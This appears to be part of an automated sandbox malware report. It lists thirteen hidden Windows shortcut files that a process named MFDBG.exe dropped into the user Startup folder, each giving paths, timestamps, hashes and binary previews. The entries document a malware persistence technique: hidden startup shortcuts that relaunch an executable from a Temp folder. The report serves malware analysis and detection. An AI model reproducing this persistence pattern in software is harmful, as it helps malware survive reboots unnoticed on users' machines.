C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0498fd5f48fb4885a8109f022e193290.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91558170401599
Encrypted:	false
SSDEEP:	24:8iuBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8/2FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BA8C4F9659EAD4F315CBCA0D1DC376A8
SHA1:	1B9D6B11654CF57D8DA9CD4A888C1CCC4A48C9E2
SHA-256:	EA563F2DF15313AB4FEF7CB98A980E0046C5DC6EC274BB966A96852EFB96CE85
SHA-512:	7014EAC1C618383D6A6CDC99BC3091B56DB77721108AEE001E7B1260FFAF4DC5D58E5658DEB0BCC8D7C1820B2B1BFD1E3CC3F727B164283BAB1EAA3B1C66FB1C
Malicious:	false
Preview:	L..................F....".......d...eS.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_04b028c6990e4b1b874066f8f0f873cb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:08 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922269453466103
Encrypted:	false
SSDEEP:	24:8GBff8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8McEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B6647E4E854502B17899DAD46B95FF1E
SHA1:	30F05D524D02CB3CE05C422129FFC8582EC1326B
SHA-256:	F4A0E092A4BCAC2E68CD3D66FB55E88E46B2C6232CF27078457F26867150C0DB
SHA-512:	A6FDCC18315E55575A0389832BCD62F4689B74093D862352724FA6C6CDCC12CBF8CC8009F65276FBE01304DFA5A6E9D8C778C127CA20EA31A46F3E25A412AC89
Malicious:	false
Preview:	L..................F....".......d......"d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....{"d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_05659bc9617443d88ae159c9914f8cc6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932586198791694
Encrypted:	false
SSDEEP:	24:8SrBfq8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8SdPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BB3422984BCF20C9B53D711254365E96
SHA1:	661362671C81036DFECE56040B9B3328362A94A2
SHA-256:	E6C79FCC015AF6E924FC68B198D9D1BBE114C0DD77F278BF840FF6CF26522700
SHA-512:	C2BD369F629D7C64FC0F81E64CFC0CE954A8E27BECC6016B6854B3232B8F18FF4011D7137621E325101104E412EAFE6C243E05F40A74101B6AD0A8C50F42568C
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_056f4e21de7d4dd2b443ff41996ce8bc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919870455545258
Encrypted:	false
SSDEEP:	24:8/BfX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8JUEvZ0yRO7DLO2zdxdRd1kyg
MD5:	EE836795DEF738CE6FDB66142BD737D1
SHA1:	00083983604D9A848BE5E40C8658C0EC7BBFB5AE
SHA-256:	672D0D2B7F86861B0AD50F5EA474CCB3278546C3E94A9633BC19AF2AC6FEA746
SHA-512:	56E06B5AE56B93F469AE93FEA863E094168733FEA0FE6D81AB1FA2FD6CC04393FC1A80CDA6CF42E163EE23D45C374C353006EC6E7341E1FC82E343486668ED11
Malicious:	false
Preview:	L..................F....".......d....R.9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...@g.9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_05ea30d6f5ef46958187b25f1b0dbc6c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93082408425425
Encrypted:	false
SSDEEP:	24:8nocQBfAP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8oR9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	F388241A7FE143104A2A4A9E28C79963
SHA1:	763C6FD1E5BE389A1F1CA6A1E40084A13D143A7E
SHA-256:	E409251D6A02E61F20D164A4F12F60E3FC81E551ECA4BDD468BE2A4BC54A0EF9
SHA-512:	C3BCBF3297D2354A27A9D1E3CE7AA83D710BFA397546063775F9E75EDA38F34309D005B78DFD4DD75F9474ED1B0657677B5978A1B37DA838714A0880438CCB2C
Malicious:	false
Preview:	L..................F....".......d......>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_066c526578dd43c093e1070c0cb937dc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9283968705959555
Encrypted:	false
SSDEEP:	24:8YuBfWQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YEeFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D499444EF2B3A3FE09D5C2D395584F7C
SHA1:	A165AF14AE955BE5FB0D0B7CD5C4CC7E93E2CD5B
SHA-256:	D61E1D9907B862BE49C0DEDC530E2EB612394C708439F4A30CA6FFC690CBB9D0
SHA-512:	12D490218835CBED6B2841D829E9421CC1B464B0715A4593A3D9E715BB8AB75C27B46F0C6933BE9AE165716DFD5B3729EFCBF334232BFFA61FBCBEA35E94EC7F
Malicious:	false
Preview:	L..................F....".......d...Zi.(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Zi.(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_06e0ce16b560480792c95aa5a3e89526.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.915775493609067
Encrypted:	false
SSDEEP:	24:8dBfHf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8PMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C17835C5A1C2046EB1202AAB13A47C59
SHA1:	7C1CC3A073A318F3C10C020F392AF5C5BD1334E5
SHA-256:	7E7B117C8617B1CE5AB80FC3A20B77F3E233512CB50ACD13DA87A90EFCA901CB
SHA-512:	46C9DDC7E07D12AA5231E3CA7E201A3731C72B40C7A0C3586BC471A1A95161C1F02160F683E91FC2DFDEC8BBF51864F6D67943D9566BCC302E25CD5419A69B43
Malicious:	false
Preview:	L..................F....".......d.....1[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....1[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0750a30d92154d3ca6b8e779743e66d4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916797281922948
Encrypted:	false
SSDEEP:	24:80BfpcH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8aDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D06B0730BFCD86EC302893477321ED06
SHA1:	CE12A1AE014D35ADFDD9C597B4DBA7567B9CFC89
SHA-256:	AF856E5A49E29DB1D16256F9237564D4C8D6090F632CCE88579D240713A534C5
SHA-512:	19268ACBEBD680C5D13676BC5BCDCA1195671587D330528C3E1F14E2DB0B946E63740C8D22FE2C706F7AF1EFB7883A4F72472D266ADED5B3D3F94ACD409A9DE1
Malicious:	false
Preview:	L..................F....".......d...v.p.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....f.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_084228d3e4bf4430b3854a978df5792c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9260435362672705
Encrypted:	false
SSDEEP:	24:8R2BfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8R8oEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0B3E2B5A96F141EEF1E11CBA8EAEB291
SHA1:	3A7667492F50409BB824A014622434AF2C57238F
SHA-256:	02240F450E00F1502C508A79865FD599390792B88D41F3F861339D6C6E26EC2B
SHA-512:	655CF36A5CF05E8AAE5FDDEBCC10A84099E397A280F4C58EB7298B1ABA27EA878C7D83FDFB177F092A8FA761B170165AE1C7E99E03175F4EDD266870A16608A7
Malicious:	false
Preview:	L..................F....".......d....%%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..._W6%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0887c9c6d5cc4300b9da1db26fe67395.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921706449412313
Encrypted:	false
SSDEEP:	24:8yBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8gJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BCDFC43FBE43B520BF74BFCACE93814F
SHA1:	FBDBFB5FE8CDA622FB6EB5F7A9693067F5DE7FE4
SHA-256:	7DE222A60B0ED6E03488FA2B1225AB9CF5151838BF1D05B0DD2DF635A0DC9BD6
SHA-512:	ABDB748E79148280D551D91511EED3C0F6188EE4CE219ED3047F9D82D113F95795946553681EA46F95020785FA3C40241E4B12531C56EAC0189E0F80887BA327
Malicious:	false
Preview:	L..................F....".......d....._d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4X._d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0895a488cf93466ab016c865a4a0c5e6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920735366805985
Encrypted:	false
SSDEEP:	24:82Bf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88lEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DBC5B55FB8B261A6F43F6FDC16D9AD63
SHA1:	B9425B9D39404AC5BBB0AF154DA13B0F74A32AC0
SHA-256:	6BC22F6D4013471AA5C61872AE7E13ED85399BB7287C1AD995876365BFC485F6
SHA-512:	45222C6045927F6DEB9BB88157F634F53976724A5E8404D5257ED81C41C5B0C19CF6B20781439ABEA37CAD11C25D1EB2FA226E21DDF00D509AB59F86D0DB8E51
Malicious:	false
Preview:	L..................F....".......d......=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...1.=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_08a307037ceb4fa6aa56b8eced834adf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:59 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92377562610447
Encrypted:	false
SSDEEP:	24:8NBfMS8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8/U/EvZ0yRO7DLO2zdxdRd1kyg
MD5:	F9FA4184B04884CFDEAFB0EA39864FCC
SHA1:	0A06F3CCDCDD52756C912C05957710F81ABE2984
SHA-256:	479B1B0F4216EE6D515157D20DE8D2EE2E64208E3F2EFCE6B6776881904D2603
SHA-512:	AE675DD1859C7BEAEFE600650CD34B14C828E27578C2BA14C9626A4C94CC20DEC491AC865ADF578F8894E7E87435014D008C354E4F6F43A7805932FFCB378DD7
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_08c9236b4ab1429e88c261c9f120271b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932461344650656
Encrypted:	false
SSDEEP:	24:8yBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8gFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	770753131C0F41B9ABF6F9073F5FD903
SHA1:	0FB65520E5459D28AA78A6F367CB0941F0B1DADA
SHA-256:	4C8F3A275E798AA5E1AC5D514DC2D52C65BD159B28B13D026B79AE98C38ADD81
SHA-512:	6FF6502CB772254FA61A597443A4D1F9D0E8FB9C54CA3C1555CDC90DA76746B3227B0D29ED3F7F8B7D89D2A6B6FFDE9D998817851C080E64AC2BAF615A52CC3B
Malicious:	false
Preview:	L..................F....".......d....T.Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...$}.Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

